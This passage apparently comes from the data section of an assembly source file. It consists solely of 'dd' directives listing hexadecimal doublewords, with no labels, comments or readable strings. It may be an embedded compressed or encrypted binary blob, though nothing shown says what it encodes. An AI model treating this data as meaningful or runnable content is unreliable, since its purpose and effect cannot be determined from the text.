12B213B1h, 4A559F00h, 1BBFA54Dh, 229B039Ah, 99A7EC46h dd 0F3B10F98h, 0EB2F3700h, 0A092DEB2h, 39DFEECEh, 0A59FDD05h dd 0B9B48399h, 0DC80109Ch, 0A4000B7Ah, 90B0BD3Ah, 0A2D4D0Ah dd 0D66E562Ch, 0E7B12C1h, 67E1199Eh, 0E68BC9A4h, 1EE557C0h dd 3BC81600h, 0A983925Ch, 0C2B00A7h, 0DCD20649h, 0EEE6D485h dd 48739000h, 0C021CBBFh, 479B26C7h, 6DA803F0h, 0D1A06A59h dd 36F2F3C9h, 79014000h, 0C4A299Dh, 6CAD03D5h, 0E0867E75h dd 39F81EF8h, 1AC62400h, 0C0B308B1h, 1B7200B2h, 3DFDBE7Eh dd 0B91DE7E5h, 53C0EB3Fh, 0A9858E5Bh, 937F0071h, 903C9430h dd 8D00F646h, 0E195CC19h, 285B5473h, 0D8063Dh, 8F9E2823h dd 0F0488E36h, 53B40700h, 0FFDF661Eh, 24D62477h, 0E0D2003Ch dd 0D8ABEB9Fh, 4153F200h, 9BFF3C80h, 0A121031Ah, 82CA58Ah dd 0B3CA50E0h, 0F4D6AC00h, 93734355h, 1BA200FBh, 0BA7B9EB6h dd 4F011541h, 55C17240h, 6035F4D0h, 48DB89E0h, 0C3007F10h dd 0CF83580Ah, 3C90A265h, 9AF060F0h, 1E0C0FF8h, 38EC8E29h dd 0A01600A4h, 3B50566Fh, 30E87393h, 595C180Eh, 0E6D9E0FCh dd 272214h, 4392F4FBh, 8E161C4Fh, 63699414h, 83E63EEDh dd 0F6A3716Bh, 0B2D988Bh, 669703DAh, 2B535EC3h, 1EE8193Dh dd 0F0896B87h, 0FF7E0013h, 823F88h, 0A3AFA4BEh, 31507B93h dd 86ADCE04h, 0DC93D4E1h, 20E8075Bh, 0D0A86BE6h, 98026D40h dd 32DA3100h, 0F18D0C45h, 0C2D100E2h, 4F372C8Ah, 1185185h dd 7606A024h, 1609003Bh, 0DF437432h, 1E3C5B2Bh, 1BBB8092h dd 2C466062h, 0DB8D00DAh, 0E37CA6BDh, 5D002BF2h, 4C36C7B8h dd 90F889h, 0FB74F056h, 0D3942D92h, 47C67A00h, 0B28E19C4h dd 8B3A2484h, 0C766009Ah, 4A7F319Eh, 89E10D01h, 727CC9BCh dd 0D29560h, 0D5064238h, 5457719h, 0F5A22500h, 1D325A8Dh dd 0B25C58B2h, 1928DA0Bh, 80845308h, 54DFC1D0h, 0EF50622Eh dd 362827E0h, 13038033h, 0EB99F00Bh, 0A13BD906h, 1442DC4h dd 2AD6F552h, 880936A2h, 1CB33728h, 941B00BEh, 0F97B23E7h dd 0DCB66403h, 0C8D8A87Ch, 8F0F5Ch, 0D18BFF85h, 0F64A20E6h dd 0B381E200h, 1167AA2Ah, 0CA0903B0h, 0D81A477Bh, 0E4CCDB91h dd 8400B4B3h, 12FF9FA6h, 0B9144Ah, 4456EDD3h, 0DB3E978Fh dd 31CCD200h, 5B29EC4Eh, 0D0B1DAh, 0D6C940D0h, 980038F9h dd 57564687h, 0D88186h, 64CE62B8h, 5AC6199Dh, 37F4700Eh dd 0F76A4036h, 32B98Ch dd 0CE0B9105h, 0DC4C1F43h, 256D9CA0h, 0A18FD11Fh, 36B200B8h dd 0E1CE584Eh, 0F6541657h, 0FB00060h, 0F2B7EC14h, 4B464000h dd 92B2AEE5h, 5F70FABh, 96C06F42h, 6E1650ADh, 83185739h dd 5390EA1Bh, 0AAA5A728h, 6880C6h, 35B8F7A4h, 15A95D11h dd 3AD92800h, 2D8A5F45h, 0C9BB00F9h, 0EA2B63D8h, 9900A282h dd 1C4BB55Ah, 1374C08h, 5E1D1966h, 0C8433984h, 2400ACCBh dd 6FE7CE7Ch, 24FC78EAh, 0FC9C51h, 4C9F9AB2h, 0DE73FF98h dd 725BF700h, 97C2DA14h, 0E5A10074h, 0AD25BA34h, 0F500DE51h dd 0BF3CF89Dh, 8990C6h, 47424A4h, 0F6C08E07h, 8D7DA500h dd 0DB682197h, 257200CBh, 0C6477C99h, 0A5000DF0h, 29387D46h dd 3D607867h, 8403770Ch, 6B26DD34h, 108C828Fh, 0F0521498h dd 0F698D100h, 0FD76B3F8h, 0C1B70035h, 0AF11C96Bh, 0E8B8E35Ah dd 5F009A71h, 7FBB8447h, 3DE8886h, 92D0D92Fh, 69C83D10h dd 45037889h, 0B01CAD83h, 1770E065h, 0DDF20002h, 8B3E7BEh dd 11D6A784h, 4A4CED00h, 0C9B1D0h, 0A3570F83h, 11F379E0h dd 9D6DE514h, 0FE9601A4h, 5C1BAFDDh, 9587A050h, 0E69E005Dh dd 4908BB35h, 822E066Fh, 0DA053A11h, 60C01B01h, 1302A12Ah dd 488809h, 71E2F2E0h, 0A4A919EAh, 42AF4CCh, 0BB78BA00h dd 3E5BA756h, 0F817000Bh, 13B646D2h, 0A572E3A3h, 51EDBE05h dd 8BC061C8h, 7D176D2Ah, 6E900054h, 1340160Dh, 8900AC1Bh dd 7EB4C7E8h, 4C7A624Ch, 0C8603864h, 466112EDh, 0A7BA5F00h dd 0AB5DAD7Ch, 9A9526B8h, 3BF90091h, 33370A9Fh, 22B62B01h dd 0BEA7B35Fh, 0D8003771h, 0F1D825h, 6A749924h, 5B19AE02h dd 9C54DB58h, 10EFFEC3h, 0EAE990D3h, 608C4EB2h, 0E641508h dd 3D65FE4Ch, 1B27003Fh, 0D9FBA6E0h, 0B6BE0035h, 0C31C131Ah dd 0A40052DDh, 2F7839D7h, 715C438Ch, 38DE0430h, 0B0DFC69Ah dd 7500D17Ch, 6DD9B747h, 0E24F4h, 70A964C4h, 0E835E938h dd 81723C18h, 0BACCA8h, 0D7ED3360h, 0E21813BEh, 5AF5261Eh dd 4D8B58C1h, 0B880E695h, 6DFCFA4h, 0A909C540h, 0DCFFD1h dd 0C6796195h, 1D1E4E31h, 7500A0B4h, 0E75DD305h, 0FD57A3Bh dd 3294A659h, 26502C40h, 0AC07656Fh, 0C1759B2Fh, 0D613BF00h dd 0DD58000Eh, 0E6F119C8h, 0EB00AC2Dh, 0FD9610C5h, 7C66FDCh dd 49B1D932h, 2935B085h, 0D400BF5Eh, 22AE05B8h, 0F0ABEAC9h dd 1EB1002Dh, 4AC7F54Fh, 93E43E45h, 57DDAD00h, 1379DBD7h dd 66052477h, 43DE9D04h, 0CB8440BCh, 2F6899F8h, 0C5E86E00h dd 8C48D38Eh, 0AE2001F1h, 5FCDA910h, 30B1C469h, 8BD2AB07h dd 0C065918Dh, 0BC9A58C0h, 4871F0FAh, 7400682Fh, 0CA3ACF47h dd 0C400469Eh, 0B53EC381h, 0FAD4F742h, 244948BBh, 0E9F33203h dd 60BFC672h, 1152DB9Bh, 0B200A6EEh, 0C4806F3Bh, 0CB13DEh dd 432BAFD5h, 8741FF2Ch, 6C40FC4Fh, 0F0095FA3h, 35E4CCh dd 0A69D43DCh, 0F6FF8A9Ah, 120058FEh, 441874D4h, 17A01B1h dd 67AEE01Fh, 0C71E7C2Eh, 0DF16BEE0h, 5A233900h, 8BF9074Dh dd 33512653h, 56F134Eh, 80ED1838h, 65A2642Ch, 0ECFD4418h dd 3E8910h, 21FF55EBh, 23476E06h, 0C9052A74h, 30AD20A4h dd 4068A4D2h, 0EA49C7F0h, 81BF0282h, 0C07C6BDBh, 854EC3E0h dd 67314D1Fh, 5C87007Fh, 3F41642Eh, 0AEE30136h, 688C7F07h dd 0DDDBC1EBh, 0F4E02BD2h, 89BA008Ah, 51439DCAh, 961CAC80h dd 7FC16982h, 0FD396648h, 74CFCC40h, 2AE4E5h, 4C209E9Ch dd 0FA9FA5D6h, 16E1103h, 0FA995A43h, 0DB24E942h, 0E280CC39h dd 9490CA27h, 97AB4809h, 785445B9h, 610F832Ah, 60741FD8h dd 0BC7254FBh, 605F5D55h, 846C187Ch, 666F99DBh, 8B1D4494h dd 0D444070Eh, 7BCD12B0h, 1C164C80h, 38AD09C8h, 0D780D4A1h dd 0A8D655FEh, 49DE8C03h, 0C82B361Fh, 0AEFC93h, 97736A1Ah dd 5F0927B7h, 0FB8389C0h, 0E7BEFA4h, 8B7139DBh, 80F00A87h dd 98F3E1C8h, 0A26BE612h, 52ED7480h, 713700FBh, 0BEAAD4E3h dd 1F05DD83h, 0DA7A9F1Eh, 51090F82h, 0AB2F0740h, 6872A211h dd 59D33540h, 12E1E706h, 53E94CD9h, 0A8BE04D2h, 22503037h dd 856B3911h, 0A129361Ch, 0FD0EC140h, 0D8D06FEh, 3CFF1D73h dd 0C0E0FC19h, 88A30B44h, 0F362384Ah, 0D06CA748h, 1DB61AE4h dd 3C00210Fh, 0C26FCD08h, 0EE36FC00h, 0C351CF31h, 837D06C7h dd 181446BEh, 0BB5BEA00h, 88D92E3Ah, 7E678DBh, 0DC2AF0E9h dd 0D73F4129h, 0CA7C608Fh, 9CF6DF0Fh, 98039ED2h, 0F8F93C82h dd 0A97374A4h, 58CCCD40h, 44B034h, 24135FC3h, 6F3904EDh dd 708CAC00h, 0CAA39154h, 981D021Fh, 9BEC27D2h, 0D79F9300h dd 9CE70014h, 0E6A28D01h, 0A9021756h, 7842DA2Ch, 1B348722h dd 791DB480h, 0A0373073h, 2F9E2D40h, 4F12A422h, 8C5800ECh dd 0C20CB0DCh, 540FF4B8h, 81971CEDh, 35C7C81h, 8CE5E0DEh dd 42180771h, 0C069808Bh, 2D8464CBh, 6E2D35E8h, 0B4DCA0D6h dd 0B44860B3h, 0EAC80A8h, 78411C3Eh, 0A7B78B0Ah, 0A381FCEBh dd 8DC0301Eh, 8C0CC09Ch, 480C318h, 73879C01h, 6CA45BA1h dd 3EF09850h, 48645C8Eh, 824B22Bh, 14448C9Ch, 365B442h dd 491B90A0h, 0C00A2E7h, 3369680Dh, 7AF91EBh, 0D5126D22h dd 40841724h, 955C236Ch, 0FE6F0C09h, 40400FBh, 0A3F72A94h dd 0D24F0FCh, 23E84Dh, 0ADA4E910h, 49CDF3A3h, 0B8A6AB30h dd 0A376AFDAh, 8ADBE1BCh, 5862B044h, 8C21154h, 84D049D6h dd 25FEB1Ch, 88A1CEC4h, 82480AAh, 0B5023757h, 0D2878B64h dd 0A2C00638h, 48B71B11h, 0B15BE11Dh, 933DB070h, 668FE56h dd 6D799820h, 0F60218F9h, 4FB9B06Eh, 545840EDh, 0D1071B5Bh dd 1FE8A89Fh, 949CCEEh, 0D2D70328h, 0E1D035A3h, 74229F6Dh dd 4A406824h, 0C4F42390h, 677F20CCh, 9FA244Fh, 0EC3E0E70h dd 0B169F92Ch, 6B7F5C00h, 211595BAh, 0FCE0D1D8h, 199EC50h dd 161D180Ch, 0DE30A586h, 8C8834B0h, 6941E86h, 0A709C41Ch dd 0FAB8B048h, 8230CC90h, 0E1885079h, 7C9250h, 0F81EA13Ah dd 792D480Bh, 0AB0057E2h, 9F02F2BAh, 484A8F10h, 1F806CE9h dd 138663E6h, 0A8E23A30h, 25B533h, 0C9E46279h, 3ED76BAEh dd 0CE5C88A0h, 52880860h, 699BE0A0h, 50244997h, 80D548CFh dd 41F41E93h, 797B6594h, 28F8C4A4h, 440284F8h, 41B51D1Eh dd 0C4504021h, 1D38E273h, 83B4A414h, 0E495ACF4h, 8708B802h dd 68B60B48h, 4946D88h, 0E270732Dh, 0E31700D0h, 9C1C1A93h dd 82529CA4h, 0D65B680Bh, 0BC48B0ACh, 0E244477Bh, 0E31E0C8Fh dd 0FA281127h, 1F147D84h, 1908A2BCh, 8EE6857h, 6AB21F3Bh dd 1378DF94h, 0E9C85822h, 3A68BC6Ch, 0E100D038h, 1BEA596Bh dd 1C1E7847h, 40578056h, 0EB139348h, 40517188h, 0C02010DCh dd 6B77303Ah, 7FAA551Ch, 660CB940h, 0F7B24F1Fh, 0ABA1B080h dd 9E3F4B13h, 60C89812h, 73266045h, 7041DC00h, 21DE1Ah dd 0D9943C80h, 8D0268BEh, 56E75C0Ch, 0F5A312Bh, 319F4E48h dd 0AD1EE481h, 4FAC20F4h, 13E87853h, 2200439Dh, 6F184955h dd 3513D30h, 0EFA4F9E0h, 96532FD0h, 54D912FCh, 7879F840h dd 0E87FBC14h, 3AA530A4h, 1CF826DAh, 0ED9A5100h, 0A824DB0Bh dd 28CD1F97h, 7E2F02F0h, 2060CA19h, 0D053DF12h, 1A7918B0h dd 288408B2h, 40B889ABh, 0A60E0F22h, 415A197Dh, 0A9E0138Bh dd 1F1EC862h, 6255017Ah, 806086EEh, 0F5D0BC19h, 0A009EF68h dd 5733BB0h, 0A52A46Ch dd 4B34828Dh, 8000F04Bh, 0AB9F2A04h, 501DF3A1h, 1F0FE88Eh dd 0F47139Ch, 75CCEE45h, 83006418h, 21A4EF9Bh, 293A01Ah dd 0C73819D0h, 8CA070A1h, 14D8305Ch, 10374934h, 7989B4D0h dd 0F1C128A7h, 6C193A14h, 32B60C0Ch, 0A7884530h, 9B510744h dd 90593921h, 8FB99E04h, 70267C01h, 6A68C430h, 1460D9D1h dd 0E4EA0050h, 1A71772Dh, 8000243Ah, 0F8D7B96Ch, 76ECBCA6h dd 0B41008Dh, 0DD42C48Eh, 3300A12Dh, 768CF1A7h, 34B507h dd 0A68D25C3h, 32EC8A18h, 4C93943Ch, 0B63BA1E0h, 1D128066h dd 0B52440E7h, 0D2A3AECAh, 3F0B289Bh, 529CB84Fh, 0A1A01244h dd 9F34082Fh, 830838A4h, 0DE4284EBh, 0C98C87BAh, 2404681Ah dd 0C233802Dh, 9F4C7F0Fh, 44152004h, 6B4CDF8Ah, 61998D20h dd 16E0CC47h, 509E5B69h, 49C014EAh, 0F440C822h, 0C349E21Ch dd 0C2A1DB69h, 2C44C2D5h, 20C4CC40h, 40541C26h, 0C6050E64h dd 0CF4C4DF0h, 0BF10CA29h, 3EE3F0BBh, 79321D32h, 0FC48BC19h dd 78989A3Bh, 351E7A12h, 808E3C00h, 1248585Dh, 911356h dd 57A50640h, 49F99B2Ch, 1003388h, 97564102h, 6BDC8788h dd 9BE47A8Eh, 121E0E74h, 9A3F6542h, 930028CEh, 5C3E074Eh dd 3E9E0809h, 44D90E47h, 6BD57A0Bh, 0C02D0A1h, 68328Ah dd 0A46FA356h, 0AA755568h, 8614C0BCh, 948B8DCh, 94A19327h dd 5A437420h, 1D0937E7h, 9122DEE9h, 71135824h, 2448B3EAh dd 45090A46h, 0B88FA9E9h, 24680C68h, 6E09F4Fh, 79C12E67h dd 0D8445092h, 0B58B02F3h, 0EC854062h, 0B9444C86h, 67581C18h dd 39737B51h, 1B3ECE50h, 801F3A01h, 44A4306Bh, 3E8B95Ch dd 9A5BA31Ah, 0A4B7A8EBh, 1B18C486h, 0C6C08869h, 0B9A4A49Dh dd 4A1F1880h, 64190C91h, 0A4A988E2h, 0F3A21301h, 7EE4A187h dd 4CF06C50h, 29EA67C4h, 0DC73E09Fh, 0DF4C71CDh, 0BC6B29A0h dd 4B6F5F00h, 1FA9E6F3h, 432E1973h, 39E0FCBAh, 18BC74A2h dd 0EC563Dh, 0E7D76179h, 1DF8126Bh, 7A1CAF24h, 0FC29CA2Fh dd 0E5F3E0A0h, 0D017DE7Eh, 3016DA2Dh, 726100EEh, 350AF060h dd 7EF46A02h, 8009B705h, 90AE6C74h, 14A8981Ah, 4050CD9Dh dd 94042Eh, 2CE49E5Fh, 9B4AAF9Fh, 45F89428h, 0FF8728Fh dd 729F8E4Ch, 0CA0B5007h, 0D7A08068h, 0B998F81Dh, 865C870Ah dd 0AB81C4ACh, 44E0718Eh, 98E611E4h, 0EC7530h, 677E884Dh dd 3B1457D8h, 642818B6h, 2F00FB42h, 1D909D9Ah, 2C92CE1Eh dd 74DD700h, 0EC8E571Ch, 0A4EA170Bh, 1BA0016Ch, 0D714A50Ah dd 1F1528E6h, 26A4A2C3h, 0B418B48Ch, 20EF9238h, 6F05470Bh dd 5E1B1ED9h, 40A901Fh, 5D14D0B2h, 9457C408h, 0F03B4930h dd 2D5F1E07h, 64C04091h, 0F18F9Ah, 8D0C4B32h, 74B9B46Bh dd 39EA8405h, 20206D19h, 1DC3859h, 0DBA218A4h, 716DF309h dd 4C9C281Ch, 959E021Ch, 0C0E6236Ch, 54CFECBDh, 491D80D1h dd 0B40AA891h, 34F886D7h, 6FFC9310h, 0D0CE37D4h, 0A1315EA0h dd 22076E3h, 435BA941h, 0F5A461EBh, 80D6C049h, 11ED73E8h dd 134F17E9h, 0BC145FE7h, 0C420454Ah, 0C088C76Eh, 1DD86B7Fh dd 0FF1298F4h, 104296A7h, 60CE043Bh, 0F05670h, 0A9989131h dd 0D6187083h, 67811F00h, 97F8035Ch, 15E8B0A6h, 0E4837F66h dd 20EED91Fh, 2EC4020Ah, 0D0A494C7h, 1C386818h, 92B900A1h dd 8BA9E72Bh, 14343879h, 82296ACh, 8D6C3064h, 0A7242898h dd 0F1800CEAh, 58E2D512h, 23CD05B6h, 387A9EEBh, 8B580B44h dd 9BE4A0D4h, 0B5490087h, 0B4F43114h, 850F8FAAh, 1A73A9Ch dd 8C22F396h, 80763890h, 42DCE36Eh, 0C4B113h, 60AC5B35h dd 0D0A80C41h, 6E04BCEBh, 0C1F3E43Ah, 431CC0E7h, 14ACA45Ch dd 9585CCDCh, 64B0686Eh, 5DA4D848h, 5BB51404h, 0A6A20AA4h dd 8D80B078h, 0C966E7Fh, 0A93F835h, 0F1A4F828h, 604B6408h dd 248BB864h, 80CC8471h, 0EB1EDC6Fh, 0BA24ED5Eh, 2205F46Eh dd 68D298C5h, 8014FAD5h, 49F018DEh, 8D04FCB7h, 0B22E5B5Fh dd 95BC84DCh, 58E1F602h, 0B4CF84A3h, 0D44A4918h, 0F6F90C31h dd 5FA70016h, 498BD39Ch, 8000A6E1h, 5C4744F1h, 78D80DABh dd 46A43AACh, 7EEA6103h, 60061F6Bh, 0EF842088h, 1A2A2768h dd 378B8001h, 3819C9A3h, 84B05260h, 0B20330EEh, 0A059C1F6h dd 2A08BD4h, 48E6F7F4h, 9A486244h, 64947CE0h, 908F185Fh dd 37EC922Ch, 0F111A09h, 35108081h, 334FF06h, 0DDD2C765h dd 18026452h, 211F2277h, 0E6C0705Ch, 2CCE2CEAh, 0EC52806Ch dd 89F6C0AEh, 90BE0430h, 78E28068h, 1978F7h, 24BD4F1Ch dd 9556E6B2h, 48902AFEh, 52EB014h, 94FCA1C0h, 1D785100h dd 4C65252Eh, 3619873Ah, 296097E0h, 585AEA15h, 6E2664FCh dd 729F8ADCh, 3AC08518h, 0CC3028B1h, 0B40CF0A8h, 0C0248724h dd 8D1EB80h, 61938Eh, 71936A9h, 0F910E4ACh, 0B1B46E18h dd 18298D8h, 93DE7930h, 2040E10Eh, 221973A0h, 0C1787815h dd 0C51B1F1h, 7A026AFDh, 0AC8CE490h, 4B458498h, 0A8C30069h dd 78D4E1FBh, 0F6C70A2Fh, 3FD0446Ah, 27D5250Bh, 0D1EEA448h dd 78694734h, 0DA9CD805h, 8DB0801h, 82212148h, 35D09182h dd 80D8F782h, 22E6C70Ch, 0E79587Dh, 1C5F139Ch, 0CCBE929h dd 0DC5C74A0h, 28BDDA0Fh, 0EA7881FBh, 4C202A4Fh, 59F66F47h dd 17FAEC81h, 93788F8Fh, 344152FEh, 917FEA73h, 0A2BC1880h dd 0D0E6FA0Bh, 0E37A6F3Eh, 18A61FF0h, 794D8670h, 0F100C003h dd 6540FF8h, 2441962h, 242D22B4h, 0A8DAA038h, 9F18B074h dd 0F211DC87h, 39B10025h, 0A3501B93h, 4F744E55h, 9C21DF60h dd 3AAB03Dh, 0E7198390h, 0CC1472CBh, 20C088DCh, 840407E5h dd 0C329FA15h, 0D1F8AD78h, 49409EFDh, 0B3EA15F3h, 0DE0CB058h dd 921848BEh, 0FDD79F02h, 8001A21Ah, 9E2DDFA8h, 0FF2A005Fh dd 8AE85374h, 7E0084C1h, 9B7034E0h, 699A31h, 0F685C555h dd 0D22130F2h, 0F4CCB309h, 34888060h, 1619EFCEh, 0AC45AC9Ah dd 872C3A7Bh, 0C2B761C4h, 0CEF29690h, 2DEF031Eh, 0B01D8048h dd 0F7F851E6h, 8311750Eh, 7C77A052h, 18ECA9CFh, 20F497A6h dd 74014E3Ch, 45D3EE4Bh, 8FE4CF90h, 0CA850036h, 60EF78DFh dd 880E250Ah, 408397F7h, 454BECA3h, 243E0003h, 3FBF3B3Dh dd 9900751Dh, 0EDA7A5C4h, 3D026ABh, 5D63B0CBh, 7AD89709h dd 60000E56h, 21836B59h, 394C714Ah, 0F804A647h, 0C2DF5206h dd 956002E9h, 8200132Fh, 57AE4817h, 5D0FD6h, 0DE932CFDh dd 0D97E32Bh, 0F32ADA0Fh, 8407D7Ah, 0E8BEBF8Ah, 408400AEh dd 0CC4C8905h, 54E4B8FFh, 0DF9DD800h, 7AEA57D7h, 0E24200DDh dd 4C38703Fh, 0D00494FDh, 78891F55h, 0C996A9C0h, 0D29C1CA3h dd 0D45803DFh, 2A0816Bh, 7BE647F9h, 0F741B100h, 127D3AAh dd 4A8C0045h, 5337EF5Bh, 0E20E0447h, 0E0BD60CDh, 13AC2EA1h dd 0B74500CCh, 0E5024B5Ch, 93062B2Fh, 35037963h, 46AE450h dd 24AB228h, 0EFE280B6h, 0B500542Fh, 7DB1442Eh, 3E57AFh dd 0F93CFDD4h, 0DD8C39A9h, 80899D3Dh, 6443CCEAh, 76C9D49Bh dd 242C00D9h, 6BCBC4FEh, 0C202B9EEh, 9856A0D3h, 790C800Ch dd 0E66A99h, 477A3FDh, 0DCC4A7Bh, 0CEA6A100h, 0C01A766Dh dd 6BEE0183h, 433DC941h, 880503Ah, 5E3F9D35h, 0B9DD3095h dd 33D8E6F6h, 37387B8Ah, 3801CE4h, 645D4AFCh, 1D9600F6h dd 91D23667h, 150E016Eh, 60EF6F3Eh, 63D523C9h, 0ADE10F2Ch dd 0A9C0CC88h, 8D2CE33h dd 29038190h, 8B85CA03h, 288E6Bh, 0DC74B4C5h, 27CB2FD9h dd 818F2A39h, 139E1A77h, 9BD08017h, 1C57576h, 0EF08EBD9h dd 8C49296Eh, 49758840h, 0F9A20068h, 0D604B2D7h, 0DA00E73Ah dd 0F45C771Bh, 58BB27h, 0E166F035h, 72A7E389h, 0F5E26A06h dd 0FB1612Dh, 0A88E5163h, 956D1C7h, 2E9F9F80h, 24487CF4h dd 62037F11h, 871521AEh, 0B514E05Bh, 0CDA80312h, 399DE146h dd 300072C3h, 89FB0FF9h, 0E6756Ah, 0A08F5A52h, 6E657ED1h dd 0ADF2351Fh, 30AA2C87h, 0B1CA0D20h, 0BBF3002Dh, 1F112306h dd 540CAC57h, 0F88DBD0Eh, 0D239333Eh, 7CFA6AA8h, 40080AFh dd 1AE2CD10h, 4735610Ch, 0E02358A8h, 0BB383CC9h, 0CDB99D00h dd 4250ECEAh, 888EBF00h, 0F5CA0F7Bh, 0C0D17867h, 0A8232D60h dd 0BB1D6502h, 5880E12Fh, 14D3B25Dh, 0C740016h, 0C51B45ECh dd 560421F4h, 0C1AD1180h, 0E3C644C7h, 0C0781F1Eh, 10B8000Bh dd 0EA2D4DB0h, 0AEEB5900h, 45FF8ACAh, 4F0331FEh, 1B9ED29h dd 3CC0D2F8h, 0E1750098h, 0C9D97390h, 790016C4h, 43B0E4ABh dd 2B6E92h, 72B96DEAh, 0AEC551Bh, 7FD1BD03h, 984E83B4h dd 1C0D2A41h, 0C0DAA3B2h, 0F0C79DFCh, 5B005745h, 0F9B8278Ah dd 2017C02h, 0EB42F228h, 3F43BC5Eh, 0A5837000h, 93ADA6C2h dd 55320038h, 708BCCA2h, 260E0522h, 41F3DDAAh, 0D0DCF1A0h dd 70531AD8h, 0E36A007Bh, 0F7F0CA19h, 1E01C1B3h, 0B628CE88h dd 98401423h, 1132BC3h, 63DBEAE9h, 0D4A3B103h, 123F4A8Ah dd 0AF928648h, 108C98h, 0BC18B6CCh, 5D240D17h, 26026FF6h dd 85EA7DE9h, 5C4AC048h, 424E0106h, 396CE7BEh, 59BF70F2h dd 1E021001h, 0B477952h, 0FC9AE0h, 16CBEF67h, 0EA860CCAh dd 3BBED561h, 708376BAh, 81567BA2h, 9FE6EF88h, 0F1984300h dd 0C8CE203Ah, 5F7C004Ch, 6A4F0DBAh, 0DF07E25Ah, 9124B872h dd 879EBE92h, 31509C96h, 39884DE9h, 0F48303F3h, 0D7CFFDCEh dd 0D6F0ABE8h, 8195B03Ch, 0C62AB834h, 91C8D07Dh, 78F400EEh dd 694EFA3Dh, 0C0129F6Ah, 34004B30h, 0D8041D33h, 0F56128CAh dd 0F850084h, 6C25029Fh, 4E00AC40h, 26274A3Bh, 0B86ED52Eh dd 6C800B3h, 0A07B2269h, 68C0628Fh, 0DEAEB1D6h, 0CB548EFh dd 8696F300h, 41366D6Bh, 0D4003AE2h, 772B1262h, 3D2E9860h dd 30F9FF09h, 0C2560327h, 59076315h, 0D0FADAE1h, 0BDEDAE10h dd 602EFC77h, 6FCC6AA7h, 2E98D39Bh, 14474302h, 0A0C92C04h dd 0D4DD30ACh, 0BF290034h, 20430BB9h, 100D811h, 61FC489Dh dd 4BB1344h, 0DC99EBE6h, 5253C0C2h, 600E96EEh, 0A6FC8D12h dd 0FE11EA98h, 0F5900DFh, 55DC80E2h, 0CF12897Eh, 0C801C3F9h dd 2E4688BAh, 0D93CFCh, 0BD90234Dh, 5EB00D91h, 3AEA3101h dd 0FD699CF3h, 5B70B7CDh, 8190030h, 0E9BCC804h, 86036A77h dd 0EC38AC72h, 5F7888AEh, 26CE7212h, 7C11A6h, 0B415D629h dd 43B3CD7h, 0AB060072h, 0CDC23F48h, 89D2008Dh, 9AACA5C9h dd 93E67054h, 79F7F0C0h, 397BC64h, 357B5A55h, 0B803C6A2h dd 182834Ch, 0CDD7A89Ah, 1E430012h, 74B76930h, 8E004219h dd 75F3198h, 0D6CF39h, 76FEE251h, 0B984EF2Ah, 5B7CEA00h dd 5F20ED64h, 152E0006h, 0E076C27Bh, 57001246h, 3FDFFD73h dd 9DE801D7h, 721F5FD8h, 0A9C01F2Dh, 507DFB08h, 443C2459h dd 9D760044h, 632F20BCh, 66E33Eh, 3EC33AB5h, 0B942338h dd 61E44833h, 8907D980h, 1C0F1701h, 2E9D569Ah, 0E58D00DDh dd 340AC6Eh, 6D1A0393h, 0E7889AB1h, 9900C660h, 0EA16F5AAh dd 1361ACC2h, 5DE27Bh, 6AB3451Ch, 59744C82h, 50022B24h dd 704B9C80h, 0B664Fh, 8865DCE6h, 8FAD20E1h, 0B6407109h dd 0E0102119h, 4BD835ABh, 6E7C300Fh, 13AC528h, 18663Fh dd 8D42A755h, 0F5DB796h, 0CF74108Eh, 2E92BFC0h, 441E6050h dd 0F5C07733h, 0ACDBB535h, 81280031h, 0CD1B212Dh, 0E5004AD7h dd 44534C1Ch, 7EDF3AD0h, 0B14D3C7Dh, 0FBDB121Eh, 8034F800h dd 0A7C22553h, 33BCDD07h, 73D2937Ch, 0D82CC3F6h, 5BB344h dd 36D2DB0Fh, 65BA8443h, 0DA005CE4h, 7DF0D7A1h, 946B9Fh dd 4429209Bh, 12CB083Ch, 0E2F50600h, 9371A5B6h, 17B4044Bh dd 80DB83F4h, 0EFC269C0h, 0A8184Dh, 9167502h, 904797h dd 74DEBD64h, 0F05BC6FEh, 32A4BC05h, 0BC786115h, 50D70071h dd 3129435Eh, 0E100BF2Bh, 1A32366h, 41E590h, 56FAA7FBh dd 0F808EE46h, 0F45E4303h, 0D0F3EFD8h, 0FE0A59h, 2C1A9963h dd 8FA24578h, 74F18C01h, 953DF6C9h, 0A40860h, 1FDC178Dh dd 23E9EB20h, 0BD4F893Dh, 0A5CA8012h, 0B399AD1Ah, 0CE6639F5h dd 0DED9FA80h, 0EF85106Fh, 80F9873Bh, 6D0D5A24h, 0E957164h dd 0F3A316DAh, 4C300072h, 13FE18B5h, 0A88250C0h, 0EE94DCh dd 0D2FD6783h, 85AF8CF4h, 656019FCh, 6DEB27E0h, 633F317Eh dd 0F14FC310h, 1021E867h, 0FC36B503h, 0F8C2B702h, 76AA191Ah dd 94F80071h, 0D791F295h, 3EF42B67h, 16FB2712h, 88015512h dd 606CC883h, 2C328F0h, 0EC7FDB0Dh, 9140F909h, 5DF8E512h dd 9D05F300h, 4089B8BBh, 2CEECBh, 0A54A7C3Fh, 11478EFh dd 0D497D26h, 0F431A90Ch, 86E50379h, 95BA2136h, 9820AAA0h dd 0CA3B5B01h, 3F5E2BC1h, 0F43864h, 3A229555h, 0D372C094h dd 49EABF0Bh, 9744002Ah, 0EEAA8Ch, 0F610E580h, 0C2963BC9h dd 20D0BC24h, 18335200h, 0B097C609h, 0CD770674h, 445E9335h dd 7FCC61C1h, 0F8E36B99h, 4C0A4D91h, 0CE007CAFh, 0CD25B963h dd 52E546B6h, 71047E18h, 41616E07h, 0FC05BE76h, 0DC073E73h dd 4892219h, 1460EE63h, 20A94628h, 0D25F7909h, 99A39201h dd 0B960E824h, 63BBA213h, 0DF007AF8h, 0C6B7BE73h, 6D001DFDh dd 475DAE8Ch, 0C35FBA32h, 775AF339h, 658970D8h, 80010E3Bh dd 55F1B011h, 0EE5EC0D7h, 3B073C53h, 0B34D9280h, 44CC51B7h dd 0A971F4B8h, 7CE4748h, 69709782h, 2E178C40h, 64B20091h dd 0E7C46222h, 0D37CEB59h, 48CD4718h, 3C3D65C1h, 0F3835FE9h dd 20C6E8BAh, 21610832h, 293BE00Fh, 0B89648E4h, 0D866DD03h dd 0FDC02F4Dh, 5F00BF2Dh, 8A6F8E43h, 7F66D98h, 4E219AF1h dd 8DFDF0C8h, 0E904CFE4h, 5F82C132h, 61CEF8C0h, 0ECA777Ah dd 0A5DF4EBh, 0DDC13100h, 173E526Bh, 84474A62h, 0F6735E25h dd 0CD600C4Ah, 52181ABAh, 1DC85800h, 11EF8B62h, 